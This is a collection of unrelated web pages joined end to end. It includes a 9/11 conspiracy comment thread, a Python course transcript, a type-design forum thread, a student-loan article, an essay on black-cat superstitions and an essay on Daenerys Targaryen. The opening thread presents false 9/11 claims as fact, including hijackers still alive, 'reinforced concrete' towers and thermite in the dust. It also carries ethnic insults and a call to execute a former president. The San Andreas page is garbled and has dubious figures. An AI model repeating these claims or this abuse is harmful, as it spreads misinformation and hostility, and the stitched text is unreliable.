First, You can claim whatever you want as the reason that OBL was not on the FBI's most wanted list. You can even do what you tried to do to me and use a logical fallacy, the strawman attack, where you spew out an argument I never made and then tear that argument down. Though even with all your nonsense, the fact still remains that what I said was true, OBL was not blamed for the 9-11 attacks. The FBI did not blame him, so my argument is correct and still stands. You cannot argue with a fact, so you use logically fallacious arguments and tear down arguments I never made. So 1 point for my argument because it is a fact.
Second, You do not even touch on any of the films that i brought up. You did ask whether they were allowed to have exercises on the day of the attacks. That is also a logically fallacious argument, a red herring, it has nothing to do with the facts of the matter. Of course, they CAN hold exercises on the day of the attacks but have you looked at all the things that went on that I guess you are saying are just coincidences. There were exercises where planes were hijacked and crashed into buildings, the WTC being one of them. They also had some of our first responders on an exercise out in California, so that they could not get close to the scene. There are tapes of the calls to NORAD where the person calling from Boston says "we have a hijacked plane and need to send some fighter jets" the person answering said "is this real world or exercise". So these exercises left everyone extremely confused and rendered our defense capabilities immobile.
If you want you can look at the 7/7 attacks in London. They also just happened to be holding exercises where bombs were going off on the same trains that got bombed at the exact same time. If you think this is all coincidence, then that is your right.
What about the fact that 2 of the hijackers lived in an FBI informants house. How about the fact that some of these hijackers were trained in US military schools. Or how about the fact that at least 7 of the supposed hijackers are actually still alive and the FBI has admitted this. What about the fact that the twin towers are the only 2 buildings made of reinforced concrete in history to fall due to fire. What do you think of the fact that WTC 7 was the 1st to fall in history that did not even get attacked, plus people in the building heard bombs going off.
I truly think if you watch the films I recommended before you might have a different view, as long as your open minded. So I will repeat them again- 1st- Fabled Enemies, 2nd -Fool Me Twice, 3rd- 9/11 Intercepted.
I will also say what I have always said and that is I do not want anyone to take my word for anything, or take the governments word for anything, or take anyone's word. I think everyone should do their own research and come to their own conclusions.
21. VoxFox
The world actually does operate on a conspiracy basis - they are called "corporations".
22. GoughLewis
Governments have done horrendous things in the past. Genocide there own people, there own citizens. Government bodies, globally, have engaged in Slavery... for example, for hundreds of years. Look, false flag operations are as old as Rome, and that is what we have here. No surprise, with twenty twenty hindsight. False flag operations are used to shift policy, old school stuff really.
BUT, the measurable, weighable, and definable is not subject to politics. Just does not care. The laws of Physics do not take a holiday to suit kings, queens, presidents, generals, special team operations or anyone.
Listen to Engineering & Architectural experts, firefighters, first responders, eyewitness, sounds and visual evidence of controlled demolition, as well as massive quantities of "Nano-Super Thermite" demolition explosives found in the multiple of tons in the dust.
The evidence is overwhelming and undeniable: WTC 1, 2, and 7 were destroyed with preplanted explosives. I have over the years, reluctantly at first, see the event of 911 for what it is... a very well contrived false flag operation. The official fairy tale is ridiculous, and just because you know it is nonsense does not make you less Patriotic... remember that.
Just google: 9/11: Explosive Evidence — Experts Speak Out
26. kilgore trout
where is Missing Links? The only one worth watching
1. oddsrhuge
in the same catagory
27. oink
I can understand why you may think Canada is so great but the truth is our government follows and supports many policies that are better for big business than the people of this country (eg. leasing the tar sands to foreign oil companies). Some of our corporations are also involved in questionable labor and environmental practices in S. America. I think our government does lean towards soft power though. I think we follow US lead on most things, unfortunately.
I have also noticed growing feelings of xenophobia in some people and that is also apparent in some of our media.
1. GoughLewis
got a ring of truth there oink, unfortunately.
28. joe
Typical stupid American.......
29. ProudinUS
I want to send my heart felt sympathy to my fellow American families who lost so much on 9-11.
To the Canadians and Canada who I very much respect,my comment is not directed at you.
@deaner and @ryan g
Wow,didn't know Canada had some bada$$ hardcore web thugs.
Is that what you b!tches are "old-school"internet G's.Dam! wouldn't want to p!ss off you two b!tches,ya might cap my a$$ with a virus or some sh!t....Let me guess you go around town and flash some hard core PC signs. Am I right my little northern b!tches?...I bet you wear your pants half way down your a$$,huh? Walking around like your street wise talkin' sh!t with your crew of5. You G's must have connects to some some serious back up....I can see you putting a Islam nation down,but dam,US? You guys are truly a couple of p*ssies!
Just my ID name alone out to get under your skin.
30. Pier G.
My heart aches once again after watching this video. It has always amazed me - bothered me - sickened me - to watch from afar the machinations of our US government ... no matter who is in power. Where has all the humanity gone? Why don't people really care about their fellow human beings? Why don't people just listen to one another? Why don't they understand the pain? Why don't they help? Why and what do they hide? Thank you Lorie for telling me about this. My heart and mind goes out to you.
31. Concerned
Those who belive in complicity of the US government fall into two categories: MIHOPS and LIHOPS. Made It Happen On Purpose and Let It Happen On Purpose. It's frightening to think about WHY they would be complicit. Think about why we make bombs, train soldiers and construct machines of war. They are made to be used and since the fall of communism I feel there is a need for a new enemy.
32. ryan g
The u.s gov should ALL put in jail till the truth comes out! and bush should be put in front of a firing squad, preferably the family's affected by 9/11.
33. ryan g
So glad i live in newfoundland canada!!! I was going to visit california.... but i am not sure the golden coast is worth the visit now!
so sad to see the american public in such torture for the truth.
my heart goes out to all those affected.
34. deaner
I'm sick and tired of Americans!!!! I am a Canadian who has resented the fact i am neighbor to a country of greedy, imperialistic, war mongering pussies. Mark my words American ideology will be the end of us all!!!! To be honest if it was an act of terrorism (which i highly doubt it was) America has been asking for it. Please if your an American we do not want you here in Canada. THANX.
1. oddsrhuge
As a Canadian, I am completely offended by this rant. Stay in your igloo. That's the way most American's, view us anyway. Thank you for verifying their suspisions. Frankly, I like a lot of Americans, I like a lot of Canadians too. But you always find an a**hole in every crowd. Go figure.
35. victorkiriakus
This is a great introduction to the 911 coverup. You will have many questions about 911 after watching this movie and have serious doubts about the official story. After watching "Terrorstorm" and "Loose Change: Final Cut", it is hard not to believe we were lied to. I no longer blindly accept what the U.S. government says.
36. young
Canada is pretty much Americas bitch, at least that's how I feel about it from the 25 years I've been living here.
37. Trevor
If only every government took a page out of Canada's book, this world would be a better place!
38. benado
Sick..we are a really sick nation of truly moronic people!! Canada here I come!!
1. Vlatko
Canada is the promised land. |
global_01_local_0_shard_00002368_processed.jsonl/53894 | We’re All Controlled by Devices
Being that I’m without my main source of accessing the internet, I thought I’d let you know that I’m feeling rather reflective, and I reckon, a tad resentful. While I’m at it, just throw some haterade in the mix too. Maybe the Amish are on to something by living in an analog world after all.
You see folks, we’ve become the robots that used to get built in science labs. I know you were fearful clones would come and snatch your job, man, date your daughter or whatever else you hold so dear to your heart but I, folks, think you should be fearful of your dependency on devices. Just think. You’re now a part of the largest segment of the world’s population who’s controlled by a piece of equipment that cost anywhere from 29.95 to 999.00. You’re also teaching your children to be dependent and undermining the value of social skills necessary to interact with a real human.
In the palm of your hands, you hold a device that accesses you entry to any place in the world. And if you’re that bored mid-lifer, you may be prone to forget your spouse and kids to meet that hot thing at your local coffee shop after a few picture exchanges . Or wherever. You’re grown, so you know where I’m going with this.
You experience anxiety, hot flashes and all manner of side effects if you’re not attached to a device. Your day is just different. Kinda surreal, to be accurate. When the tech department can’t fix that disposable device after it’s gone haywire from overuse, it sends you into a rage and you’re emotionally drained after you’ve frightened the unlucky agent who happened to clock in at your critical hour to do his job.
You’re the android you never thought possible. You’re the true machines (built by Steve Jobs) and overnight campers who don’t brush your teeth come morning time when the newest iPhone hits the market.
Man, I miss my Toshiba. |
global_01_local_0_shard_00002368_processed.jsonl/53901 | Python Jumpstart by Building 10 Apps Transcripts
Chapter: App 7: Wizard Battle App
Lecture: Building the game loop
0:00 Over here in PyCharm, let's knock out the first pass on our initial game loop.
0:04 Now, it's probably not going to end this way,
0:07 or probably refine it and add some enhancements,
0:09 but let's just get started in kind of the same way we have with other apps.
0:14 So, again, we are going to add our file
0:18 and we are going to have our main() method, we'll have our print_header(), as always
0:26 and in this one we are going to have what we are going to call a game_loop().
0:30 And then in our main let's just go and say print_header()
0:32 and then we'll just run the game_loop().
0:35 And finally, let's use our PyCharm live template to call the main()
0:41 only if it's actually being executed rather than imported.
0:45 So header is pretty standard as always so let's just do this,
0:55 ok, standard header now let's focus in on this game_loop() we have here.
1:00 So the concept of our game_loop() is we just want to go around and around
1:03 getting input from the user until the game ends
1:07 so let's just start really simple with the concept of going around and around,
1:11 and so we'll just say while true and we are going to do some work here.
1:15 First thing we are going to do is get some input from the user,
1:18 so we'll call this cmd for command
1:22 and this is pretty standard we'll say you attack, run away or look around.
1:28 Like so, and let's give the users hints on which they can do
1:31 so we'll say attack, run away or look.
1:36 And then we have four basic outcomes here,
1:38 one could be they actually said they want to attack
1:41 and let's just print out some things we can kind of test a little loop here,
1:45 then we'll rewrite the behaviors.
1:47 So if they say a we'll say attack, elif if it's run away we'll just print('run away'),
1:59 if they are going to look around we are going to print('look around'), and finally,
2:04 if they hit something else and we don't know what it is we'll just say
2:07 all right, you must want to exit the game,
2:09 like if we just hit enter with no command that means you are gone,
2:12 so we'll just say something like this, ok, exiting game. Bye.
2:17 So, let's go ahead and run our app just to make sure everything is hanging together.
2:22 Now, no run configuration, so we kow how to get that going.
2:26 All right, so down here we can attack, we can look around,
2:30 we can run away, or we can say enter and we should exit.
2:33 Now, oops, we didn't really exit we just printed exit, right,
2:36 that doesn't mean anything to Python just that we printed exit.
2:40 So we can exit out of this infinite loop by just saying break
2:43 and then we'll come down here and basically
2:46 run the next line which is empty and we're done.
2:47 So look around, enter, exit, perfect.
2:51 So our little loop is running, it's time to build up the data structures
2:55 with classes and objects it's going to be great. |
global_01_local_0_shard_00002368_processed.jsonl/53916 | San Andreas Fault
Information | Map
San Andreas Fault
The San Andreas fault in Carrizo Plain, California is 16km wide and 1280km long. The gap is like a long furrow and is best seen by the air. The breakdown has arisen from the meeting and the retreat of the Pacific and North American continental plates and becomes their limit. Here are frequent earthquakes. Scientists have found that large earthquakes here become averagely in 150, in the 1500s. The last major earthquake at the center of the fault occurred in 1857.
There is no vegetation in the Carrizo Plain, where there is no vegetation, but small rivers, small, salt-free salt lakes in which artemia live can be seen. Breakthrough is also known for the fact that many movies, songs and clips have been shot here.
Рейтинг 0 от 0 гласа |
global_01_local_0_shard_00002368_processed.jsonl/53921 | Garland Faith Community SDA Church-logo
Garland Faith Community SDA Church
Podcasts >
More Information
United States
Exploring Deepfake - Elder Wilton Williams
Scripture: Revelation 12:9 (KJV) And the great dragon was cast out, that old serpent, called the Devil, and Satan, which deceiveth the whole world: he was cast out into the earth, and his angels were cast out with him.
Altars of Praise - Elder Stewart Gwature
He Rested - Elder Rodnez Small
Give Me Jesus, Only Jesus - Elder Stewart Gwature
Offerings An Act of Worship - Dr. Nathan Delima
Scripture: Give unto the Lord the glory due unto his name: bring an offering, and come into his courts. O worship the Lord in the beauty of holiness: fear before him, all the earth. Psalm 96:8-9 (KJV)
1+1=1 - Dr. Nathan Delima
Shabbat Shalom - Dr. Nathan Delima
Keeping the Faith in Difficult Times - Elder Maurice Theriot
Disciples - Elder Wilton Williams
Fear Test - Elder Stewart Gwature
Breaking Generational Curses - Pastor Ruber Leal
Forever Family Presentation
Growing a Resilient Spirit
Except the LORD build the house, they labour in vain that build it: except the LORD keep the city, the watchman waketh but in vain. Psalms 127:1 (KJV)
The Unforgivable Forgive - Dr. Nathan Delima
Scripture: And forgive us our sins; for we also forgive every one that is indebted to us. And lead us not into temptation; but deliver us from evil. Luke 11:4 (KJV)
The Three Angels' Message - Sofia Delima
Scripture: Revelation 14: 6, 7 and 12 6 And I saw another angel fly in the midst of heaven, having the everlasting gospel to preach unto them that dwell on the earth, and to every nation, and kindred, and tongue, and people, 7 Saying with a loud voice, Fear God, and give glory to him; for the hour of his judgment is come: and worship him that made heaven, and earth, and the sea, and the fountains of waters. 12 Here is the patience of the saints: here are they that keep the commandments of...
Are You Smarter than a Pathfinder? - Adam and Faith Chancy
Scripture: For I know the thoughts that I think toward you, says the Lord, thoughts of peace and not of evil, to give you a future and a hope. Jeremiah29:11 (KJV) And let them make Me a sanctuary,[a] that I may dwell among them. Exodus25:8 (KJV) Christ's ministry in the Heavenly Sanctuary Jesus’ ultimate sacrifice gives us confidence to approach God, knowing we are forgiven. Now Jesus is reviewing our lives before returning, so there’s no question that His judgments are made in...
God is Picking A Fight With You - Dr. Nathan Delima
Scripture: And Jacob was left alone, and there wrestled a man with him until the breaking of the day. And he said, ‘Let me go, for the day breaketh.’ And he said, ‘I will not let thee go, except thou bless me. Genesis 32: 24, 26 (KJV)
”Wrestling with God” - Dr. Nathan Delima
“Emotions that Heal, Emotions that Kill” - Dr. Eloy Espinoza
Scripture: Matthew 6:25 (KJV) “Therefore I say unto you, Take no thought for your life, what ye shall eat, or what ye shall drink; nor yet for your body, what ye shall put on. Is not the life more than meat, and the body than raiment?”.
Choose Christ - Elder Rodnez Small
|
global_01_local_0_shard_00002368_processed.jsonl/53931 | Working with multiple masters
I've never worked with multiple masters.
I understand the theory (I have background in math which helps...), but I feel like a tutorial that focuses on the workflow, practical advice, etc., could help.
Do you know if and where I can find something like that?
(Tutorials for specific font editors are also welcome.)
• Paul HanslowPaul Hanslow Posts: 11
edited August 2019
This subject can become a bit of a minefield if you venture into the Variable Font territory and how multiple masters function (especially when dealing with multiple axis such as weight, width, optical side, etc). Some of this not even I fully understand.
However, there are a few resources which can help understand multiple masters. Some better (and some drier) than others. As it's uncertain what skill level you're at, here are some general links which I hope you'll find helpful:
1. Tutorial on setting up Multiple masters (Glyphs app)
2. Designing Multiple Masters typefaces by Adobe (General Theory)
It's a longer read and I've never read it as I learn from doing more so than reading.
3. Multiple Masters (FontLab5 app)
a little old as FL6 is out, but good if you're a visual learner.
In regards to workflow, this will be dependant on the designer, the job, and what application(s) they feel most comfortable using. For example, I prefer setting up masters in Glyphs than FontLab 6, unless working on a variable font as FL6 provides better visual feedback in this regard. Other type designers may prefer the opposite to myself.
It may help to provide information on what area(s) of multiple masters intrigue you the most. Is it the mathematical theory side or a practical/applicational interest?
• James PuckettJames Puckett Posts: 1,665
2. Designing Multiple Masters typefaces by Adobe (General Theory)
Definitely read this book. And the relevant tutorials for whatever program you’re working with.
• The mathematical theory sounds very simple. It's just convex (or affine, if you allow extrapolation) combinations of points in the plane, isn't it?
I'm interested in the practical side. I thought maybe I could add an axis or two to Arrowwood, mainly just to play with it (I'm not sure where this project is going anyhow, I hadn't planned to take it beyond that logo).
Thanks for those resources!
• Glyphs uses the terms Multiple Master but is not strictly following the Adobe MM structure. You can place master much more freely and don't need to have a master at each corner of the design space. So you might have a Light, Bold and Regular-Condensed. The Glyphs handbook has a chapter about his:
• Thanks, Georg. I've actually already looked in the handbook. I'm not looking for answers to specific questions. I was sort of hoping to find something about how to best approach my first experience with multiple masters on the most practical level: workflow, tips, and so on. Maybe there's not much to say about that and there's no reason why something like that should exist in the first place...
• @Ori Ben-Dor: There is a VAST amount to say on it!
“Multiple Master” was a specific Adobe format, used with Type 1.
MM had a limit of 16 masters for a font. And the most important thing is that although it was never a theoretical limitation (!), as actually implemented, MM required a master in every corner of the design space. Which effectively gave MM fonts a limit of 4 axes.
MM in a later revision allowed for intermediate masters, but the MM version of this was never supported in most tools.
OpenType Variations (variable fonts), based on Apple’s old GX Variations technology, is much more flexible. There is a limit of 64K axes. I do not recall the limit on the number of masters, but it is similarly huge.
Importantly, variable fonts place few limitations on the placement of masters in the design space. However, due to the math of vector addition and interpolation, there are some real complexities about where masters can be placed and have them both: (a) take part in interpolation, and (b) yield at all predictable results.
The easy part is to say that:
1) There is a default master. Each further master must be connected, via a single orthogonal move, to another master, and every such chain must connect to the default master.
2) Having masters in every corner of the design space is a simple, legal approach. Like the old MM. If you do this, everything is done by interpolation. But the number of masters is the square of the number of axes. Imagine a cube in which each corner is a master; that is an example of this approach.
3) The main alternative is to use vector addition. In this case, you have a "star" in which each axis is defined by a master sprouting from the default master. Imagine a cube in which the default is at a corner, and the three adjacent corners in each direction each have a master. So four of the eight corners of the cube have masters (but not all in one plane!). The number of masters is 1+n, where n is the number of axes. So for three axes, instead of eight masters with the MM approach, you only need four. BUT your control of the design space is a lot less direct.
You can also do the star with axes sprouting in each direction. That is, the default master is in the middle, and some or all the axes are defined by a pair of masters that sprout in two opposite directions.
Similarly, you can glue a pair of cubes together, sharing one side, and have even more control by using twelve masters instead of eight.
I am describing 3-axis variations, but all this applies to more or fewer axes as well. But three is moderately complex, and is the most our human brains can easily visualize, so it is a convenient number.
• Thomas, thank you so much for this comprehensive review, it's very insightful!
• Thomas PhinneyThomas Phinney Posts: 1,726
edited August 2019
You can do hybrid approaches. For example, you can have a cube of eight masters, with one corner sprouting a star. Or to put it another way, a star-based 3-d configuration in which one of the four quadrants of the design space is defined by a cube with no extrapolation, and the other three quadrants use vector addition.
I have an idea, to do a video using a TinkerToy construction set to show and explain this stuff. At least in the 2D-3D versions. I think I have a sponsor for doing a pretty nice version of this. (But it will have to wait some months. Must finish Science Gothic.)
• I think I got it, but I can see how a video could help explain this stuff :smile:
• I am getting better at explaining it in writing, after a lot of practice. ;) But I think a video would be really good. Or at least an article with visuals, but 3D works better with, well, real 3D stuff.
Then again, I could just build 3D graphics that work with WebGL and put the whole thing in an article. Hmmmm.
• There is a segment about visualizing interpolation spaces in Luc(as) de Groot's talk at TypoLabs 2018 and you can also try to drop a font on the Multidimensional Axis Visualizer shown in the talk.
• What is especially tricky is not just the visualization, but understanding which master/axis configurations will work the way one expects, and which will “fail.” I did not find this at all intuitive, at first.
Sign In or Register to comment. |
global_01_local_0_shard_00002368_processed.jsonl/53933 | Feefo logo
When to Consider Refinancing Student Loans
Student Loan Refinancing | By Dean Wildman
Before thinking through the different options available, you should understand the difference between consolidate and refinance.
Consolidating your student loans through the federal government’s Direct Consolidation Loan program means combining several loans into one new loan. The new interest rate is the weighted average of the interest rates from the loans you are consolidating. With refinancing, you are actually paying off your federal and/or private student loans with a new private loan. This new loan has a different interest rate and loan terms.
Many people know loans with a lower interest rates generally cost less than loans with higher interest rates. But many don’t realize students who borrowed between 2006 and 2013 could substantially lower the interest rate on those loans. They may be eligible if they have good credit and refinance their loans during today’s historically low interest rate environment. Even if you’re comfortably making payments, lowering your interest rates can save on your total loan costs.
2. Are you making multiple monthly payments?
Are you making more than one monthly payment and want to simplify your life? Loan consolidation or refinancing can help. However, if you have federal and private student loans and want only one monthly payment, your only option is refinancing. You cannot consolidate private loans through the Direct Consolidation Loan program.
When you took out your student loans, each loan had either a fixed or variable interest rate. Understanding what type of interest rates you have is important. It affects whether or not your monthly loan payments will fluctuate over time. If you have fixed rate loans your monthly payments will remain constant. With variable rate loans your monthly payments may change over time.
Do you plan to pay off your loans in a short period of time? A variable rate loan could be a good option. The initial interest rate on a variable rate loan is typically less than on a fixed rate loan. However, the longer the repayment term, the greater the opportunity for variable interest rates to fluctuate. If rates rise, your monthly payment and total costs will rise as well.
If you prefer predictable payments that won’t change over time, then a fixed rate loan may be your best choice. With the current low interest rate environment, you could lock in a low fixed interest rate by refinancing. Your rate depends on several factors. These factors include your credit, income, education level, repayment term, and whether or not you have a cosigner.
5. Are your monthly payments weighing you down?
Are you having trouble making your monthly student loan payments? Do you just want to free up some extra cash? Refinancing your loans can be a great option. Most private loan lenders offer repayment terms up to 20 years, with some like U‑fi offering a 25-year option. By increasing the length of your repayment period, you can lower your monthly payments. However, loans with longer repayment terms typically have higher interest rates than loans with shorter terms. You will likely end up paying more in total interest over the life of the loan.
Refinancing or consolidation means you are replacing your loans with a new loan. It’s important to understand you might lose benefits tied to your original loans. For example, federal loans offer a variety of deferment, forbearance, and repayment options. These benefits assist borrowers who cannot afford their monthly payments. Federal loans also offer benefits to military service members that may not be available with private loans. Your current loans may also have borrower benefits such as an interest rate discount. Be sure to compare the features and benefits of your new loan with any you might be giving up.
If the time is right to refinance your student loans, take a moment to review several lender websites. Create a short list of top candidates. Call each candidate and ask them any questions you have, including what you will need to apply. Make sure you are speaking to the actual loan servicer. This is who you will interact with over the entire life of your new loan.
Think you’re a good candidate for student loan refinancing? U-fi is ready to help. Get started today!
Written By: Dean Wildman |
global_01_local_0_shard_00002368_processed.jsonl/53938 | Skip to main content
1. PCMag UK
The 10 Best Game Boy Games Kirby's Dream Land 2 (1995)
The 10 Best Game Boy Games
The 10 Best Game Boy Games
Congratulations on your purchase of the Nintendo Game Boy (TM) portable entertainment system! You're about to embark on the first of many great adventures, and the only passport you need fits in the palm of your hand. Completely portable and battery-powered, the Game Boy (TM) can deliver limitless new experiences anywhere you go, one Game Pak (TM) at a time.
If you're wondering which games you should play, look no further. Do you like chess with friends? How about fishing, solitaire, golf, or high-stakes poker? All of that and more can be found in the large library of available Game Boy (TM) Game Paks (TM). But some of you might be eager to explore mysterious adventures that only a video game can deliver. Below, we'll guide you through each of the system's absolute best games, without question. These are the ones you are going to want to play the most.
If you're a Nintendo Game Master and you already own a large library of Game Boy (TM) Game Paks (TM), you may see some of your favorite games missing from the list. Don't worry! It's only because all of your favorite games aren't good enough to make the cut. Paper isn't cheap, and we only have room for the absolute cream of the crop. These games will not let you down. |
global_01_local_0_shard_00002368_processed.jsonl/53969 | Being An Expat Mum
Following up on my Being A Mum post, I interviewed some expatriate mothers to get a grasp on what mothering away from home and immediate family means; Their challenges and the upsides. Being a new expatriate mum, this interview really helped me prepare myself mentally for the challenges ahead. … More Being An Expat Mum |
global_01_local_0_shard_00002368_processed.jsonl/53973 | Black Cat Superstitions
The black cat was often regarded as a witch familiar
The black cat was often regarded as a witch familiar
The folklore surrounding black cats, varies from culture to culture. In Great Britain, black cats are seen as lucky. The Scottish believe that a strange black cat entering your home, signifies prosperity.
Cat Sìth, the soul taker
In Celtic mythology, a phantom cat known as the Cat Sìth takes the form of a black cat. The people of the Scottish Highlands did not trust it. They believed that it could steal a person’s soul before it was claimed by the Gods by passing over a corpse before burial; therefore watches called the Feill Fadalach (Late Wake) were performed night and day to keep the Cat Sìth away from a corpse before burial.
Methods of “distraction” such as games of leaping and wrestling, catnip, riddles, and music would be employed to keep the Cat Sìth away from the room in which the corpse lay. In addition, there were no fires where the body lay, as it was legend that the Cat Sìth was attracted to the warmth.
Crossing your path
Black cats are also considered good luck in Japan. Furthermore, it is believed that a lady who owns a black cat will have many suitors. However in Western history, black cats have often been looked upon as a symbol of evil omens.
They specifically were suspected of being the familiars of witches, and so most of western and southern Europe considers the black cat a symbol of bad luck, especially if one crosses paths with a person, which is believed to be an omen of misfortune and death.
the Black Cat
the Black Cat
Black cats and witch hunt hysteria
During the Middle Ages alley cats were often fed by poor lonely old ladies. When the witch hysteria struck Europe and many of these homeless women were accused of practicing black magic, their cat companions (especially black ones) were deemed guilty of witchery by association.
Many societies in the late Middle Ages attempted to drive black cats into extinction. As the witch scare mounted to paranoia, many innocent women and their harmless pets were burned at the stake. A baby born with eyes too bright, a face too canny, a personality too precocious, was sacrificed for fear it was host to a spirit that would in time become a witch by day, a black cat by night.
In France, thousands of cats were burned monthly until King Louis XIII, in the 1630s, halted the shameful practice. Given the number of centuries in which black cats were slaughtered throughout Europe, it is surprising that the gene for the colour black was not deleted from the species.
Lucifer’s revenge
In occult esoteric teachings the black cat is a “Gestalt” of Lucifer, the deity of pure life force and will, symbolizing the manifested or earthed power of the Solar God who is traditionally associated with the lion. One very interesting fact about cats in general is that they can survive all over our planet. Research on “left behind cats” showed, this includes even the Antarctic and other hostile regions, suggesting their nine lives myth has a firm base.
Black cats, sailors and Egyptians
Sailors considering a “ship’s cat”, would choose a black one because it would bring good luck. Sometimes, fishermen’s wives would keep black cats at home too, in the hope that they would be able to use their influence to protect their husbands at sea. The view of black cats being favorable creatures is attributed specifically to the Egyptian goddess Bast (or Bastet), the cat goddess.
All cats, including black ones, were held in high esteem among the ancient Egyptians and protected by law from injury and death. Cat idolatry was so strong, that a pet’s death was mourned by the entire family. Entire cat cemeteries have been unearthed by archaeologists, with mummified black cats commonplace.
You may also like to read:
Witches ointment
Why did Witches Want to Ride their Broomsticks?
The incubus or succubus – nightmare or astral sex date?
Hecate – The Calling of the Crossroad Goddess
The Ancient Witch-Cult of The Basques
Walpurgis Night
Stefan Eggeler: Walpurgis Night witches, Kokain (Cocaine) and other illustrations
Witchcraft paintings – Dutch 17th century
Rosaleen Norton, Daughter of Pan
Mysteries of the Ancient Oaks
The Mystical Mandrake
Little Secrets of the Poppy
Datura stramonium or jimson weed or zombi-cucumber
Mountain spirits
Wild Man or Woodwose
Claude Gillot’s witches’ sabbat drawings
VAMzzz Publishing book:
Etruscan Magic & Occult Remedies by Charles Godfrey Leland was first published as Etruscan Roman Remains in Popular Tradition, in 1892. Part One of the book offers a complete and detailed insight in the Etruscan and Roman rooted pantheon of the Tuscan Streghe (witches). Part Two describes many of their spells, incantations, sorcery and several lost divination methods.
Leland found himself at the crossroads of the academic and the romantic and it is precisely this, which makes the reading of his work so enjoyable. His primary aim was to preserve this ancient traditional knowledge, as he feared, it would soon be wiped out by modernism. Much information in this book, Leland received first hand from the Tuscan witches Maddalena and Marietta.
His second work on Stregheria: Aradia, or the Gospel of the Witches was published seven years later in 1899. One could state he reached his goal, as his books are still of invaluable importance to both the Italian folklore and the modern practitioner of witchcraft. One of Leland’s readers was the late Gerald Gardner, which makes one wonder who was the true godfather of modern witchcraft… VAMzzz Publishing added an index of ancient Etruscan gods and spirits in this special revised edition.
Etruscan Magic & Occult Remedies
by Charles Godfrey Leland
ISBN 9789492355003
Paperback, book size 148 x 210 mm
628 pages
Buy a Amazon |
global_01_local_0_shard_00002368_processed.jsonl/54027 | #Dragonprivilege, or Daenerys as female role model
‘I’m not going to stop the wheel. I’m going to break the wheel.’
Daenerys “Stormborn” Targaryen, Queen of the Andals, the Rhoyner, and the First Men, Breaker of Chains, the Unburnt, Khaleesi of the Great Grass Sea, Mother of Dragons, ‘Mhysa’ and Queen of Meereen, has more accumulated more titles in her quick and brutal rise to power than most long-reigning lords of Westeros. She has built, lost and regained armies, won over barbarian hordes, freed thousands of slaves and killed quite a few of their masters. She has done all this without the aid of a husband, despite being propositioned every few months by a new aspirant for her hand.
Daenerys-Targaryen-Profile-HDDaenerys (I’m going to call her the much simpler-to-type ‘Dany’ henceforth) is considered remarkable.in a universe where patriarchy is near-unquestioned, where a woman’s role is basically to provide children and/or sexual pleasure. Women in Martin’s world need to be experts at manipulating others and their circumstances in order to achieve even the slightest measure of power or independence, and here I’m speaking only of those from powerful families. If you’re one of the smallfolk, life is much rougher, no matter if you’re a man or woman.
So it’s no wonder that Dany is considered to be the series, and the show’s, blazing icon of feminism. She routinely blasts apart the power structures put before her, breaking the bars of cages built to contain her and her ‘children’—structures and cages usually put down and maintained by men. In a recent episode, she literally destroys the patriarchy of the Dothraki, burning down the temple that houses the gathered khals as they insult her and threaten her with rape. Recently, again, she got astride a dragon and destroyed an army sent against her by the (you guessed it) male masters of Yunkai and Astapor. Her power is bound up in her identity as a saviour, ‘mother’ figure: her superpower is her children, the dragons, and her soft power comes from the freed slaves devotion to her, or so we are supposed to assume.
But I wonder, after so many seasons of watching her destroy things, march towards victories that no other character in the series can boast of, is Dany still an inspiring role model for women? Isn’t she a bit too, I don’t know…super powered?
“How dare you, madam!” I hear the knives being sharpened. “Are you implying that she is too powerful? Are you saying that a woman is only inspiring if she is fighting from a position of weakness, and not obvious strength?”
That’s not what I’m saying at all.
Let me put it this way: I will not deny that watching Dany storm the patriarchy and burn down things makes me, both as a fantasy fan and one who happens to be a woman, happy. I like knowing that she has made this incredible journey, from scared little girl in thrall to maxresdefaulther brother, to a powerful badass Queen who makes those epic-level statements. But maybe because I’ve seen her do it time and again (it’s been six years of burning down establishments), I’m not as ‘Woohoo Dany!’ as I was before. Maybe it also has something to do with the fact that she does these things not only because she is smart and determined, but also because she has powers that few in her world do.
Dany has dragons. No matter how she might have tried to shut them away, they are as much a part of her as her fire-proof skin. Dany didn’t triumph over the khals because she outsmarted them; she triumphed because she, unlike them, could survive blazing infernos. Dany won over the Dothraki by playing their game, proving herself unconquerable and thus earning their mingled respect and fear. Dany won over Slaver’s Bay in the same way: she paid for the Unsullied, and then unleashed her wrath via dragons. She then intimidated Yunkai into letting go their slaves, and finally, conquered Meereen thanks to her soldiers sneaking into the city, and riling up factions to assist her in her takeover. Now that her dragons are grown, it seems unlikely that anyone with a ‘normal’ army is going to be able to bring her down.
dany fire
Dany has dragons. And that places her at a power level that few people in Westeros can reach. I would say that at this point, her only worthy rival is, maybe, the Night’s King.
Since she’s at this exalted, almost superhuman status, I can’t quite see Dany as a ‘woman’ first. She’s obviously a hero. She has faced great trials, yes, but where she is now is a position of seemingly untouchable, unassailable dominance. She’s not a flesh and blood woman so much as a mythic figure, an Athena, or Mother Mary, if you will—one of those figures who is venerated and raised so far above the hoipolloi that you can’t point to them and say ‘Be like her’ unless you want to give your girl impossible standards. So while she’s an icon for feminism, in the sense that she fights for a society of equals, rich or poor, man or woman, she may not necessarily be a relatable good model for women.
But the other women of Westeros, they’re all equally, maybe even more, amazing than Dany. Arya, Melisandre, Catelyn, Margaery, Cersei, Sansa (my beloved), Gilly negotiate the brutal patriarchy of their world in varying ways, and manage to achieve their ends. Whether its using their sexuality (Melisandre, Cersei, Margaery to a certain extent), their position as mothers (Catelyn and Cersei), employing their perceived weakness to their benefit (Sansa) or just busting balls old school style by joining the boys’ games and playing them better (Brienne, Arya, Asha/Yara), these women navigate within and best the system in whatever ways they can, seeking to live the life they are given on their terms. They don’t have fire proof skin. They don’t have infallible magic, and they don’t have dragons, but that doesn’t stop them from getting what they want.
Plus, they’re so fun when they scheme together.
Dany can afford to blast and burn obstacles out of her way, but these women cannot. They must negotiate them, use their wits, their skill sets to do so. Of course, due to their (by and large aristocratic) backgrounds, they have advantages that small folk women do not, and we see in both the books and the show how the latter are brutalised, their lack of power stark (Ros is a powerful example in the show). Westeros is much like our world, you see. While problems are universal, a person’s level of exposure to them varies.
Dany is so elevated above this mass of womenkind that she can no longer be said to belong to them. Once upon a time, she did. But not anymore. That’s beautiful, and hopeful, and she is definitely an icon, but she is not a relatable one. Not all of us have #dragonprivilege, but we can be plucky, and resolute and determined and smart the way so many of the other female characters are. And so I’d choose Asha, or Sansa, or Margaery as my role models. Dany, I love you, but you might just be too hot for me.
dany gif
1 thought on “#Dragonprivilege, or Daenerys as female role model
